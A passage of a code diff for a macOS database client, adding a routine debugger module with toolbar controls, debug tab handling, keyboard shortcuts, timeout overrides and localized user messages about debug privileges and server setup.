     /// from early at about 2.5ns a write.
     internal static let hideableIdentifiers = Set(MainWindowToolbar.defaultItemIdentifiers)
 
+    // The debug controls belong to their module, so all of them, the palette's steps included, may leave the titlebar
+    // while it is on; with it off none is vended.
+    internal static func hideableItems(showsDebugItems: Bool) -> Set<NSToolbarItem.Identifier> {
+        showsDebugItems ? hideableIdentifiers.union(MainWindowToolbar.debugItemIdentifiers) : hideableIdentifiers
+    }
+
     /// What this context takes out of the titlebar, already confined to what may be taken.
     ///
     /// The confinement lives here rather than at the call site, so it is a property of the answer
     /// and a second caller cannot skip it.
     internal static func visibility(for key: ToolbarContext.VisibilityKey) -> ToolbarVisibility {
-        ToolbarVisibility(hidden: contextualHidden(key).intersection(hideableIdentifiers))
+        ToolbarVisibility(
+            hidden: contextualHidden(key).intersection(hideableItems(showsDebugItems: key.showsDebugItems))
+        )
     }
 
     /// The commit control's label: the verb its tab commits with.
@@ -60,7 +69,8 @@ internal enum ToolbarContextResolver {
             String(localized: "Create Table")
         case .usersRoles:
             String(localized: "Apply Changes")
-        case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing, nil:
+        case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing,
+             .routineDebug, nil:
             String(localized: "Save Changes")
         }
     }
@@ -74,6 +84,11 @@ internal enum ToolbarContextResolver {
             hidden.insert(MainWindowToolbar.database)
         }
 
+        // The debug controls exist only while the module is on, and mean something only over a debug tab.
+        if key.contentMode == .agent || (key.tabKind != nil && key.tabKind != .routineDebug) {
+            hidden.formUnion(MainWindowToolbar.debugItemIdentifiers)
+        }
+
         switch key.contentMode {
         case .agent:
             /// No grid and no object browser are on screen, and the commit control's gate is frozen
@@ -98,6 +113,9 @@ internal enum ToolbarContextResolver {
         case .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing:
             /// None of these can stage a change, so the commit control could only ever be dim.
             return [MainWindowToolbar.saveChanges]
+        case .routineDebug:
+            // A debug run has nothing to reload or commit; its own controls take that place.
+            return [MainWindowToolbar.refresh, MainWindowToolbar.saveChanges]
         case .query, .table, .usersRoles, .erDiagram:
             return []
         }
@@ -188,6 +206,16 @@ internal enum ToolbarContextResolver {
             return context.isConnected
         case MainWindowToolbar.importTables:
             return context.isConnected && !context.blocksAllWrites && context.supportsImport
+        case MainWindowToolbar.debugContinue:
+            return context.debugCommands.contains(.continueExecution)
+        case MainWindowToolbar.debugStepOver:
+            return context.debugCommands.contains(.stepOver)
+        case MainWindowToolbar.debugStepInto:
+            return context.debugCommands.contains(.stepInto)
+        case MainWindowToolbar.debugStepOut:
+            return context.debugCommands.contains(.stepOut)
+        case MainWindowToolbar.debugStop:
+            return context.canStopDebugging
         default:
             return false
         }
diff --git a/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift b/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift
index e793c326bd..372c2f8d78 100644
--- a/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift
@@ -165,6 +165,11 @@ enum WindowTitleResolver {
                 return explicitTitle
             }
             return String(localized: "Tables")
+        case .routineDebug:
+            if let explicitTitle, !explicitTitle.isBlank {
+                return explicitTitle
+            }
+            return String(localized: "Debug")
         default:
             break
         }
diff --git a/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift b/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift
index c8c7da5d2e..1b51ce9465 100644
--- a/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift
+++ b/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift
@@ -411,11 +411,17 @@ final class MetadataConnectionPool {
     /// Opens a second connection to the session's server, on `scope`'s database, through the
     /// transport the session already holds. Every tunnel manager closes its tunnel before building a
     /// new one, so dialing the session's effective endpoint is what keeps the other connections up.
-    /// A database lane opens its user connection here too, as `.session`.
-    internal static func openServerDriver(for scope: DatabaseScope, purpose: DriverPurpose) async throws -> DatabaseDriver {
+    /// A database lane opens its user connection here too, as `.session`. `queryTimeoutSeconds`
+    /// replaces the session's timeout, for a debug target that waits on a person between steps.
+    internal static func openServerDriver(
+        for scope: DatabaseScope,
+        purpose: DriverPurpose,
+        queryTimeoutSeconds: Int? = nil
+    ) async throws -> DatabaseDriver {
         guard let session = DatabaseManager.shared.session(for: scope.connectionId) else {
             throw DatabaseError.notConnected
         }
+        let queryTimeout = queryTimeoutSeconds ?? session.effectiveQueryTimeoutSeconds
         var connection = session.effectiveConnection ?? session.connection
         let plan = Self.planConnection(
             configuredDatabase: connection.database,
@@ -443,14 +449,14 @@ final class MetadataConnectionPool {
             purpose: purpose,
             deadline: deadline,
             timeoutEndpoint: timeoutEndpoint,
-            effectiveQueryTimeoutSeconds: session.effectiveQueryTimeoutSeconds,
+            effectiveQueryTimeoutSeconds: queryTimeout,
             preparedConfiguration: preparedConfiguration
         )
         do {
             try await driver.connect()
             try await Self.prepareSession(
                 driver,
-                queryTimeoutSeconds: session.effectiveQueryTimeoutSeconds,
+                queryTimeoutSeconds: queryTimeout,
                 startupCommands: session.connection.startupCommands,
                 connectionName: session.connection.name,
                 timeoutSeconds: operationTimeoutSeconds
diff --git a/apple/TablePro/Core/Storage/AppSettingsManager.swift b/apple/TablePro/Core/Storage/AppSettingsManager.swift
index f17d83f2a4..253cc4f055 100644
--- a/apple/TablePro/Core/Storage/AppSettingsManager.swift
+++ b/apple/TablePro/Core/Storage/AppSettingsManager.swift
@@ -279,5 +279,6 @@ final class AppSettingsManager: ObservableObject {
         storage.resetToDefaults()
         connectionListPreferences.resetShowsRecent()
         SoftwareUpdater.shared.resetUpdatePreferences()
+        AppModuleActivation.resetToDefaults()
     }
 }
diff --git a/apple/TablePro/Core/Storage/AppSettingsStorage.swift b/apple/TablePro/Core/Storage/AppSettingsStorage.swift
index add50ed0f8..6e789f10e3 100644
--- a/apple/TablePro/Core/Storage/AppSettingsStorage.swift
+++ b/apple/TablePro/Core/Storage/AppSettingsStorage.swift
@@ -315,6 +315,7 @@ final class AppSettingsStorage: Sendable {
         defaults.removeObject(forKey: PreferenceKeys.rowInspectorGeometryFieldHeight.name)
         defaults.removeObject(forKey: PreferenceKeys.rowInspectorGeometryFieldMode.name)
         defaults.removeObject(forKey: SidebarPersistenceKey.defaultLayout)
+        RoutineDebugOptionStore(defaults: { [defaults] in defaults }).removeAll()
     }
 
     // MARK: - Helpers
diff --git a/apple/TablePro/Core/Storage/ConnectionLocalState.swift b/apple/TablePro/Core/Storage/ConnectionLocalState.swift
index 63a4c790c8..c77bd3a5ef 100644
--- a/apple/TablePro/Core/Storage/ConnectionLocalState.swift
+++ b/apple/TablePro/Core/Storage/ConnectionLocalState.swift
@@ -57,6 +57,7 @@ internal enum ConnectionLocalState {
             HistoryPanelPreferencesStorage.remove(for: connectionId)
             QueryInsightsPreferencesStorage.remove(for: connectionId)
             ServerDashboardTileStorage().remove(for: connectionId)
+            RoutineDebugOptionStore(defaults: { [defaults] in defaults }).remove(for: connectionId)
             MCPServerStore.shared.forgetConnection(connectionId)
         }
         purgeTrailingPaneKeys(connectionIds, defaults: defaults)
diff --git a/apple/TablePro/Core/Utilities/UI/AlertHelper.swift b/apple/TablePro/Core/Utilities/UI/AlertHelper.swift
index a0dc3210b0..9fe36ae79a 100644
--- a/apple/TablePro/Core/Utilities/UI/AlertHelper.swift
+++ b/apple/TablePro/Core/Utilities/UI/AlertHelper.swift
@@ -251,13 +251,19 @@ final class AlertHelper {
                 work: .immediate { gate.deliver(.success(true)) }
             )
         )
-        let confirmed = try? await runHostedDecision(
-            title: title,
-            fittingWidth: 560,
-            gate: gate,
-            window: window,
-            rootView: sheet
-        )
+        guard !Task.isCancelled else { return false }
+        // A caller that gives up takes the review down as a no, the way Escape would.
+        let confirmed = await withTaskCancellationHandler {
+            try? await runHostedDecision(
+                title: title,
+                fittingWidth: 560,
+                gate: gate,
+                window: window,
+                rootView: sheet
+            )
+        } onCancel: {
+            Task { @MainActor in gate.cancel() }
+        }
         return confirmed ?? false
     }
 
diff --git a/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift b/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift
index 0017b21d0e..7df214ff3e 100644
--- a/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift
+++ b/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift
@@ -2,4 +2,6 @@ import AppKit
 
 internal extension NSLayoutConstraint.Priority {
     static let splitPaneHolding = NSLayoutConstraint.Priority(260)
+    // Below the other pane's `.defaultLow`, so this one takes the room when the split view resizes.
+    static let splitPaneFlexible = NSLayoutConstraint.Priority(240)
 }
diff --git a/apple/TablePro/Models/Query/QueryTabManager.swift b/apple/TablePro/Models/Query/QueryTabManager.swift
index da30ee518a..49b0da031f 100644
--- a/apple/TablePro/Models/Query/QueryTabManager.swift
+++ b/apple/TablePro/Models/Query/QueryTabManager.swift
@@ -582,6 +582,23 @@ final class QueryTabManager: ObservableObject {
         return newTab.id
     }
 
+    // One tab per run: debugging the same routine again starts a second session rather than taking over a live one.
+    @discardableResult
+    func addRoutineDebugTab(id: UUID = UUID(), title: String, databaseName: String, schemaName: String?) -> UUID {
+        var newTab = QueryTab(id: id, title: title, tabType: .routineDebug)
+        newTab.tableContext.isEditable = false
+        newTab.tableContext.databaseName = databaseName
+        newTab.tableContext.schemaName = schemaName.flatMap { $0.isEmpty ? nil : $0 }
+        newTab.hasUserInteraction = true
+        tabs.append(newTab)
+        selectedTabId = newTab.id
+        return newTab.id
+    }
+
+    static func routineDebugTitle(for name: String) -> String {
+        String(format: String(localized: "Debug %@"), name)
+    }
+
     // Qualified by schema where tables are listed per schema, or two listings in one database would share a label.
     static func tableListingTitle(kindTitle: String, schemaName: String?) -> String {
         guard let schemaName, !schemaName.isEmpty else { return kindTitle }
@@ -744,8 +761,11 @@ extension QueryTabManager {
         return visible
     }
 
+    // A debug tab names no entry: its paused target holds locks whichever database the sidebar shows, so it stays in
+    // sight everywhere while its run keeps the database it was started in.
     func containerName(of tab: QueryTab) -> String? {
-        WorkspaceAnchoring.containerName(of: tab, target: containerTarget)
+        guard !tab.tabType.isTransient else { return nil }
+        return WorkspaceAnchoring.containerName(of: tab, target: containerTarget)
     }
 
     // A tab naming no container (a server dashboard, a query tab on a browse-following engine) shows in every entry.
@@ -812,7 +832,8 @@ extension QueryTabManager {
         switch type {
         case .query, .table, .createTable, .erDiagram, .objectSource, .tableListing:
             return true
-        case .serverDashboard, .usersRoles, .insights, .versionHistory:
+        // A paused debug target holds locks, so its tab stays in sight whichever entry the sidebar shows.
+        case .serverDashboard, .usersRoles, .insights, .versionHistory, .routineDebug:
             return false
         }
     }
diff --git a/apple/TablePro/Models/Query/QueryTabState.swift b/apple/TablePro/Models/Query/QueryTabState.swift
index 42fa43be7a..76f2957417 100644
--- a/apple/TablePro/Models/Query/QueryTabState.swift
+++ b/apple/TablePro/Models/Query/QueryTabState.swift
@@ -20,6 +20,14 @@ enum TabType: Equatable, Codable, Hashable {
     case versionHistory
     // Read-only grid of one database's or schema's tables, rebuilt from the catalog on each load, never from saved SQL.
     case tableListing
+    case routineDebug
+}
+
+extension TabType {
+    // A live debug session cannot be restored, and the debugger is a module, so its tab never reaches disk or an outside client.
+    var isTransient: Bool {
+        self == .routineDebug
+    }
 }
 
 struct PersistedTab: Codable {
diff --git a/apple/TablePro/Models/UI/GridSelectionOwner.swift b/apple/TablePro/Models/UI/GridSelectionOwner.swift
index b20f998971..9a212ceb91 100644
--- a/apple/TablePro/Models/UI/GridSelectionOwner.swift
+++ b/apple/TablePro/Models/UI/GridSelectionOwner.swift
@@ -33,7 +33,7 @@ internal enum GridSelectionOwner: Equatable {
             // Map selects through the same model: a clicked shape selects its row.
             return .dataGrid
         case .createTable, .erDiagram, .serverDashboard, .usersRoles, .insights, .objectSource, .versionHistory,
-             .tableListing:
+             .tableListing, .routineDebug:
             return .none
         }
     }
diff --git a/apple/TablePro/Models/UI/KeyboardShortcutModels.swift b/apple/TablePro/Models/UI/KeyboardShortcutModels.swift
index b707d86815..79b0e75513 100644
--- a/apple/TablePro/Models/UI/KeyboardShortcutModels.swift
+++ b/apple/TablePro/Models/UI/KeyboardShortcutModels.swift
@@ -40,6 +40,7 @@ enum ShortcutCategory: String, Codable, CaseIterable, Identifiable {
     case dataGrid
     case navigation
     case connections
+    case debug
     case app
 
     var id: String { rawValue }
@@ -50,6 +51,7 @@ enum ShortcutCategory: String, Codable, CaseIterable, Identifiable {
         case .dataGrid: return String(localized: "Data Grid")
         case .navigation: return String(localized: "Navigation")
         case .connections: return String(localized: "Connections")
+        case .debug: return String(localized: "Debug")
         case .app: return String(localized: "App")
         }
     }
@@ -181,6 +183,13 @@ enum ShortcutAction: String, Codable, CaseIterable, Identifiable {
     case showPreviousWorkspace
     case showNextWorkspace
 
+    // Debug, listed only while the Routine Debugger module is on
+    case debugContinue
+    case debugStepOver
+    case debugStepInto
+    case debugStepOut
+    case toggleBreakpoint
+
     var id: String { rawValue }
 
     var category: ShortcutCategory {
@@ -215,9 +224,28 @@ enum ShortcutAction: String, Codable, CaseIterable, Identifiable {
              .showPreviousWindowTab, .showNextWindowTab,
              .toggleWorkspaceRail, .showPreviousWorkspace, .showNextWorkspace:
             return .navigation
+        case .debugContinue, .debugStepOver, .debugStepInto, .debugStepOut, .toggleBreakpoint:
+            return .debug
         }
     }
 
+    var module: AppModule? {
+        Self.routineDebuggerActions.contains(self) ? .routineDebugger : nil
+    }
+
+    private static let routineDebuggerActions: Set<ShortcutAction> = [
+        .debugContinue, .debugStepOver, .debugStepInto, .debugStepOut, .toggleBreakpoint,
+    ]
+
+    // An action of a module that is off has no row, no menu item and no say in a conflict.
+    func isAvailable(enabledModules: Set<AppModule>) -> Bool {
+        module.map { enabledModules.contains($0) } ?? true
+    }
+
+    static func settingsRows(in category: ShortcutCategory, enabledModules: Set<AppModule>) -> [ShortcutAction] {
+        allCases.filter { $0.category == category && $0.isAvailable(enabledModules: enabledModules) }
+    }
+
     /// A command that dispatches to whichever surface holds focus must be `.global`, or the
     /// conflict resolver treats its combo as free in the other context and AppKit blanks one of
     /// the two menu items that end up claiming it. The three find commands all route that way.
@@ -375,6 +403,11 @@ enum ShortcutAction: String, Codable, CaseIterable, Identifiable {
         case .aiReviewQuery: return String(localized: "Review with AI")
         case .aiExplainQuery: return String(localized: "Explain with AI")
         case .aiOptimizeQuery: return String(localized: "Optimize with AI")
+        case .debugContinue: return String(localized: "Continue")
+        case .debugStepOver: return String(localized: "Step Over")
+        case .debugStepInto: return String(localized: "Step Into")
+        case .debugStepOut: return String(localized: "Step Out")
+        case .toggleBreakpoint: return String(localized: "Toggle Breakpoint")
         }
     }
 }
@@ -526,6 +559,9 @@ struct KeyboardSettings: Codable, Equatable {
                 continue
             }
             guard override == key, other.context.overlaps(action.context) else { continue }
+            if let module = other.module, !AppModule.storedEnabledModules().contains(module) {
+                continue
+            }
             return other
         }
         return nil
@@ -538,8 +574,16 @@ struct KeyboardSettings: Codable, Equatable {
     /// Find a conflicting action for the given combo within an overlapping
     /// context, excluding the specified action.
     func findConflict(for key: BoundKey, excluding action: ShortcutAction) -> ShortcutAction? {
+        findConflict(for: key, excluding: action, enabledModules: AppModule.storedEnabledModules())
+    }
+
+    func findConflict(
+        for key: BoundKey,
+        excluding action: ShortcutAction,
+        enabledModules: Set<AppModule>
+    ) -> ShortcutAction? {
         guard !key.isCleared else { return nil }
-        for other in ShortcutAction.allCases where other != action {
+        for other in ShortcutAction.allCases where other != action && other.isAvailable(enabledModules: enabledModules) {
             guard action.context.overlaps(other.context),
                   let otherKey = shortcut(for: other), !otherKey.isCleared,
                   otherKey == key else { continue }
@@ -715,7 +759,13 @@ struct KeyboardSettings: Codable, Equatable {
         .switchToLeastRecentTab: .special(.tab, shift: true, control: true),
         .toggleWorkspaceRail: .character("0", command: true, option: true),
         .showPreviousWorkspace: .special(.upArrow, command: true, control: true),
-        .showNextWorkspace: .special(.downArrow, command: true, control: true)
+        .showNextWorkspace: .special(.downArrow, command: true, control: true),
+
+        // Xcode's keys. Toggle Breakpoint ships unbound: current macOS lists Command-Backslash as a system hotkey, which the recorder refuses.
+        .debugContinue: .character("y", command: true, control: true),
+        .debugStepOver: .special(.f6),
+        .debugStepInto: .special(.f7),
+        .debugStepOut: .special(.f8)
     ]
 }
 
diff --git a/apple/TablePro/Models/UI/PendingChangeKind.swift b/apple/TablePro/Models/UI/PendingChangeKind.swift
index b065c3cda9..df375dd97d 100644
--- a/apple/TablePro/Models/UI/PendingChangeKind.swift
+++ b/apple/TablePro/Models/UI/PendingChangeKind.swift
@@ -46,7 +46,8 @@ internal enum PendingChangeKind: Equatable, Hashable, Sendable {
             return hasCreateTablePending ? .createTable : nil
         case .usersRoles:
             return hasPrincipalChanges ? .principals : nil
-        case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing:
+        case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing,
+             .routineDebug:
             return contentKind(
                 hasDataChanges: hasDataChanges,
                 hasStructureChanges: hasStructureChanges,
diff --git a/apple/TablePro/Models/UI/ToolbarContext.swift b/apple/TablePro/Models/UI/ToolbarContext.swift
index b4900b9818..f4267409e4 100644
--- a/apple/TablePro/Models/UI/ToolbarContext.swift
+++ b/apple/TablePro/Models/UI/ToolbarContext.swift
@@ -4,6 +4,7 @@
 //
 
 import Foundation
+import TableProPluginKit
 
 /// Everything the connection window's toolbar is allowed to know about what the window is showing.
 ///
@@ -55,6 +56,12 @@ internal struct ToolbarContext: Equatable {
     /// A type's tab queues changes the commit control saves; every other object tab only reads.
     internal let stagesObjectChanges: Bool
 
+    // Whether the Routine Debugger module puts its controls in the toolbar at all.
+    internal let showsDebugItems: Bool
+    // What the selected debug tab can do now; empty and false everywhere else.
+    internal let debugCommands: Set<PluginDebugCommand>
+    internal let canStopDebugging: Bool
+
     /// The subset of the context that may move an item in or out of the titlebar, or change what
     /// one says.
     ///
@@ -75,6 +82,7 @@ internal struct ToolbarContext: Equatable {
         internal let supportsServerDashboard: Bool
         internal let isAIEnabled: Bool
         internal var stagesObjectChanges = false
+        internal var showsDebugItems = false
     }
 
     internal var visibilityKey: VisibilityKey {
@@ -87,7 +95,8 @@ internal struct ToolbarContext: Equatable {
             supportsImport: supportsImport,
             supportsServerDashboard: supportsServerDashboard,
             isAIEnabled: isAIEnabled,
-            stagesObjectChanges: stagesObjectChanges
+            stagesObjectChanges: stagesObjectChanges,
+            showsDebugItems: showsDebugItems
         )
     }
 
@@ -111,7 +120,10 @@ internal struct ToolbarContext: Equatable {
         supportsImport: Bool = false,
         supportsServerDashboard: Bool = false,
         isAIEnabled: Bool = false,
-        stagesObjectChanges: Bool = false
+        stagesObjectChanges: Bool = false,
+        showsDebugItems: Bool = false,
+        debugCommands: Set<PluginDebugCommand> = [],
+        canStopDebugging: Bool = false
     ) {
         self.tabKind = tabKind
         self.resultsMode = resultsMode
@@ -133,6 +145,9 @@ internal struct ToolbarContext: Equatable {
         self.supportsServerDashboard = supportsServerDashboard
         self.isAIEnabled = isAIEnabled
         self.stagesObjectChanges = stagesObjectChanges
+        self.showsDebugItems = showsDebugItems
+        self.debugCommands = debugCommands
+        self.canStopDebugging = canStopDebugging
     }
 
     /// The whole context over a key the caller already computed, so the eight slow-moving facts
@@ -149,7 +164,9 @@ internal struct ToolbarContext: Equatable {
         canAddRow: Bool,
         canRestorePreviousValues: Bool,
         canNavigateBack: Bool,
-        canNavigateForward: Bool
+        canNavigateForward: Bool,
+        debugCommands: Set<PluginDebugCommand> = [],
+        canStopDebugging: Bool = false
     ) {
         self.init(
             tabKind: key.tabKind,
@@ -171,7 +188,10 @@ internal struct ToolbarContext: Equatable {
             supportsImport: key.supportsImport,
             supportsServerDashboard: key.supportsServerDashboard,
             isAIEnabled: key.isAIEnabled,
-            stagesObjectChanges: key.stagesObjectChanges
+            stagesObjectChanges: key.stagesObjectChanges,
+            showsDebugItems: key.showsDebugItems,
+            debugCommands: debugCommands,
+            canStopDebugging: canStopDebugging
         )
     }
 }
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index 84ff17bec7..5fad72ccd1 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -194,6 +194,10 @@
     },
     "Add one row to a table on a saved connection. Provide the row as a JSON object or a CSV row." : {
 
+    },
+    "Add plugin_debugger to shared_preload_libraries and restart the server." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "Add rows to ${table}" : {
 
@@ -472,6 +476,10 @@
     },
     "Only Left" : {
 
+    },
+    "Only PL/pgSQL functions and procedures can be debugged." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "Only Right" : {
 
@@ -637,6 +645,22 @@
       "extractionState" : "manual",
       "generatesSymbol" : false
     },
+    "TablePro can't pass any value of type %2$@ to %1$@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "TablePro can't read %@. Check that this account can see its source." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "TablePro can't read this unit's source." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "TablePro can't turn text into a %2$@ value for %1$@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "TablePro signs RSA keys with rsa-sha2-256 or rsa-sha2-512, not with ssh-rsa, which uses SHA-1." : {
       "extractionState" : "manual",
       "generatesSymbol" : false
@@ -1825,6 +1849,10 @@
         }
       }
     },
+    "“%@” isn't a port or a range of ports, such as 4000-4999." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "“%@” now holds the current result of its query." : {
       "localizations" : {
         "fr" : {
@@ -3203,6 +3231,10 @@
         }
       }
     },
+    "%@ (specification)" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "%@ (You)" : {
       "localizations" : {
         "fr" : {
@@ -4287,6 +4319,14 @@
     },
     "%@ has no column to create." : {
 
+    },
+    "%@ has no default value." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "%@ has no public procedure or function to start from." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "%@ holds a document or an array, and this text is not valid JSON." : {
       "extractionState" : "manual",
@@ -4878,6 +4918,10 @@
         }
       }
     },
+    "%@ isn't compiled for debugging." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "%@ lines have unreadable characters" : {
       "localizations" : {
         "fr" : {
@@ -4927,6 +4971,9 @@
           }
         }
       }
+    },
+    "%@ May Still Be Running" : {
+
     },
     "%@ more, in the script beside this" : {
       "localizations" : {
@@ -15952,6 +15999,10 @@
         }
       }
     },
+    "A connection came from %@, which isn't the database server's address, so TablePro closed it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "A connection can use only one connection method at a time. Enabled: %@." : {
       "localizations" : {
         "fr" : {
@@ -16123,6 +16174,14 @@
         }
       }
     },
+    "A DBA can grant it with GRANT DEBUG CONNECT SESSION TO %@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "A DBA can grant it with GRANT DEBUG ON %1$@ TO %2$@, or grant DEBUG ANY PROCEDURE." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "a destructive statement" : {
       "localizations" : {
         "fr" : {
@@ -17906,6 +17965,10 @@
         }
       }
     },
+    "A user with ALTER SYSTEM can find its session in V$SESSION and end it with ALTER SYSTEM KILL SESSION." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "A value could not be written as JSON." : {
       "localizations" : {
         "fr" : {
@@ -21239,6 +21302,10 @@
         }
       }
     },
+    "Address the database server can reach this Mac at" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Adds a narrow strip on the window's leading edge listing every connection and database you have open, so one click switches to it." : {
       "localizations" : {
         "fr" : {
@@ -28157,6 +28224,10 @@
         }
       }
     },
+    "Ask a superuser to run CREATE EXTENSION pldbgapi in this database." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Ask about step %d" : {
       "localizations" : {
         "fr" : {
@@ -29969,6 +30040,8 @@
       }
     },
     "Automatic" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false,
       "localizations" : {
         "fr" : {
           "stringUnit" : {
@@ -32295,6 +32368,14 @@
       "extractionState" : "manual",
       "generatesSymbol" : false
     },
+    "Breakpoint, line %d" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Breakpoints" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Briefcase" : {
       "extractionState" : "manual",
       "generatesSymbol" : false
@@ -33411,6 +33492,9 @@
     "Cake" : {
       "extractionState" : "manual",
       "generatesSymbol" : false
+    },
+    "Call Stack" : {
+
     },
     "Calling" : {
       "localizations" : {
@@ -33571,6 +33655,12 @@
           }
         }
       }
+    },
+    "Can't Debug %@" : {
+
+    },
+    "Can't List Routines" : {
+
     },
     "Can't List Tables" : {
       "localizations" : {
@@ -36359,6 +36449,14 @@
         }
       }
     },
+    "Changes the procedure makes are committed when it commits or finishes. Stop rolls back what it hasn't committed." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Changes the routine makes are committed when it finishes. Stop rolls them back." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Changes Unavailable" : {
 
     },
@@ -38624,6 +38722,10 @@
         }
       }
     },
+    "Choose DBMS_DEBUG as the protocol." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Choose Destination…" : {
       "localizations" : {
         "fr" : {
@@ -38784,6 +38886,10 @@
         }
       }
     },
+    "Choose other Debugger Ports, or DBMS_DEBUG as the protocol." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Choose port automatically" : {
       "localizations" : {
         "fr" : {
@@ -43305,6 +43411,10 @@
         }
       }
     },
+    "Collection" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Collection %@ no longer exists." : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -43329,6 +43439,14 @@
         }
       }
     },
+    "Collection of %d elements" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Collection of 1 element" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "collections" : {
       "localizations" : {
         "fr" : {
@@ -46154,6 +46272,10 @@
         }
       }
     },
+    "Compile for Debug" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Complete Sign In" : {
       "localizations" : {
         "fr" : {
@@ -52490,6 +52612,9 @@
           }
         }
       }
+    },
+    "Could not build the column reorder for this table. If this engine's driver was installed before column reorder shipped, update it in Settings > Extensions." : {
+
     },
     "Could not build the column reorder for this table. If this engine's driver was installed before column reorder shipped, update it in Settings > Plugins." : {
       "localizations" : {
@@ -52543,6 +52668,9 @@
     },
     "Could not build the query that matches rows" : {
 
+    },
+    "Could not build the table rebuild for this change. If this engine's driver was installed before foreign key editing shipped, update it in Settings > Extensions." : {
+
     },
     "Could not build the table rebuild for this change. If this engine's driver was installed before foreign key editing shipped, update it in Settings > Plugins." : {
       "localizations" : {
@@ -60285,6 +60413,10 @@
         }
       }
     },
+    "DBMS_DEBUG_JDWP needs a Debugger Host for the database to connect back to." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Deactivate" : {
       "localizations" : {
         "fr" : {
@@ -60485,6 +60617,60 @@
         }
       }
     },
+    "Debug" : {
+
+    },
+    "Debug %@" : {
+
+    },
+    "Debug it from a routine that calls it with arguments only this overload takes." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debug it from a routine that calls it with that value." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debug Routine" : {
+
+    },
+    "Debug Routine…" : {
+
+    },
+    "Debug Session Ended" : {
+
+    },
+    "Debug…" : {
+
+    },
+    "Debugger Host" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debugger Ports" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debugging %@ needs the DEBUG privilege on it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debugging needs the DEBUG CONNECT SESSION privilege." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debugging through DBMS_DEBUG instead." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debugging through DBMS_DEBUG_JDWP. The database connected to TablePro at %@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Debugging through DBMS_DEBUG." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Decimal" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -86436,6 +86622,14 @@
         }
       }
     },
+    "Give %1$@ a value. Left at its default, the call also matches another overload of %2$@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Give %1$@ values. Left at their defaults, the call also matches another overload of %2$@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Give its full path in the connection. Apps launched from the Dock do not inherit your shell's PATH." : {
       "localizations" : {
         "fr" : {
@@ -90591,6 +90785,10 @@
         }
       }
     },
+    "If the server reaches this Mac through NAT or a load balancer, choose DBMS_DEBUG as the protocol." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
